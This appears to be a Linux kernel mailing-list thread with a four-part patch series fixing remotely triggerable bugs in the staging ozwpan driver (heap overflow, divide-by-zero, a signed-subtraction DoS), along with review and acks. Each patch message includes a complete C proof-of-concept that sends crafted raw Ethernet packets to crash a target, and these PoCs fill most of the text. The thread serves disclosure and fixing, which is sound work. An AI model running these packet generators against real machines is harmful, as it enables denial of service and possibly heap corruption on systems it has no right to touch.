drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- drivers/staging/ozwpan/ozusbsvc1.c | 18 ++++++++++++++---- 3 files changed, 20 insertions(+), 10 deletions(-)
Signature · 1 line
2.4.1
PATCH v3 1/4 ozwpan: Use proper check to prevent heap overflow
Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.
This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-)
drivers/staging/ozwpan/ozusbsvc1.c +9 -4
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - -sizeof (struct oz_get_desc_rsp ) +1 ; -u16 offs =le16_to_cpu (get_unaligned (&body->offset)); -u16 total_size = +u16 offs, total_size; +u8 data_len; + +if (elt->length <sizeof (struct oz_get_desc_rsp ) -1 ) +break ; + data_len = elt->length - + (sizeof (struct oz_get_desc_rsp ) -1 ); + offs =le16_to_cpu (get_unaligned (&body->offset)); + total_size =le16_to_cpu (get_unaligned (&body->total_size));oz_dbg (ON ,"USB_REQ_GET_DESCRIPTOR - cnf\n" ); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
Signature · 1 line
2.4.2
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 7 lines · Jason A. Donenfeld
drivers/staging/ozwpan/ozusbsvc1.c +0
-1@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; - int data_len = elt->length -
drivers/staging/ozwpan/ozusbsvc1.c void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) · line 399
Quoted 10 lines
drivers/staging/ozwpan/ozusbsvc1.c +7
-3-sizeof (struct oz_get_desc_rsp ) +1 ; -u16 offs =le16_to_cpu (get_unaligned (&body->offset)); - u16 total_size = +u16 offs, total_size; +u8 data_len; + +if (elt->length <sizeof (struct oz_get_desc_rsp ) -1 ) +break ; + data_len = elt->length - + (sizeof (struct oz_get_desc_rsp ) -1 );
Gar... I'm really sorry. I wanted to Ack these and be done but why did the + 1 change to a - 1? And I had the same question about the other patch as well.
Sorry for the hassle and thanks for doing this work.
regarsd,
dan carpenter
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Hi,
Quoted 14 lines · Dan Carpenter
Quoted 13 lines · Jason A. Donenfeld
drivers/staging/ozwpan/ozusbsvc1.c +3
-4@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - -sizeof (struct oz_get_desc_rsp ) +1 ; -u16 offs =le16_to_cpu (get_unaligned (&body->offset)); - u16 total_size = +u16 offs, total_size; +u8 data_len; +
Quoted 8 lines
drivers/staging/ozwpan/ozusbsvc1.c void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) · line 399
Quoted 4 lines
drivers/staging/ozwpan/ozusbsvc1.c +4
-0+if (elt->length <sizeof (struct oz_get_desc_rsp ) -1 ) +break ; + data_len = elt->length - + (sizeof (struct oz_get_desc_rsp ) -1 );Gar... I'm really sorry. I wanted to Ack these and be done but why did the + 1 change to a - 1? And I had the same question about the other patch as well.
I would say that it is because part of the expression has been placed inside parentheses:
a - b + 1 == a - (b - 1)
Guess it makes the decision logic slightly more readable.
Frans
Dan Carpenter
Acked-byRe: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 1 line · Dan Carpenter
Acked-by Dan Carpenter <[email protected]>
Acked for the rest of the set too?
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 4 lines · Jason A. Donenfeld
Quoted 1 line · Dan Carpenter
Acked-by Dan Carpenter <[email protected]>Acked for the rest of the set too?
Yes. Thanks.
regards,
dan carpenter
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
In reply to Frans KlaverQuoted 7 lines · Frans Klaver
I would say that it is because part of the expression has been placed inside parentheses:
a - b + 1 == a - (b - 1)Guess it makes the decision logic slightly more readable.
Yes, exactly this. It's so that the bounding check conditional prior looks identical to the actual subtraction, making it much easier to read and verify.
PATCH v3 2/4 ozwpan: Use unsigned ints to prevent heap overflow
In reply to Jason A. DonenfeldUsing signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-)
drivers/staging/ozwpan/ozhcd.c +4 -4
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)/* * Context: softirq */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status,const u8 *desc, -int length,int offset,int total_size) +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status,const u8 *desc, +u8 length,u16 offset,u16 total_size) {struct oz_port *port = hport;struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,if (!urb)return ;if (status ==0 ) { -int copy_len; -int required_size = urb->transfer_buffer_length; +unsigned int copy_len; +unsigned int required_size = urb->transfer_buffer_length;if (required_size > total_size) required_size = total_size;
drivers/staging/ozwpan/ozusbif.h +2 -2
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);/* Confirmation functions. */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status, -const u8 *desc,int length,int offset,int total_size); +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status, +const u8 *desc,u8 length,u16 offset,u16 total_size);void oz_hcd_control_cnf (void *hport,u8 req_id,u8 rcode,const u8 *data,int data_len);
Signature · 1 line
2.4.2
PATCH v3 3/4 ozwpan: divide-by-zero leading to panic
In reply to Jason A. DonenfeldA network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -1
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n = (len -sizeof (struct oz_multiple_fixed )+1 ) +int n; +if (!body->unit_size) +break ; + n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
Signature · 1 line
2.4.2
PATCH v3 4/4 ozwpan: unchecked signed subtraction leads to DoS
In reply to Jason A. DonenfeldThe subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -3
@@ -326,10 +326,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n; -if (!body->unit_size) +unsigned int n; +if (!body->unit_size || + len <sizeof (struct oz_multiple_fixed ) -1 )break ; - n = (len -sizeof (struct oz_multiple_fixed )+1 ) + n = (len - (sizeof (struct oz_multiple_fixed ) -1 )) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
Signature · 1 line
2.4.2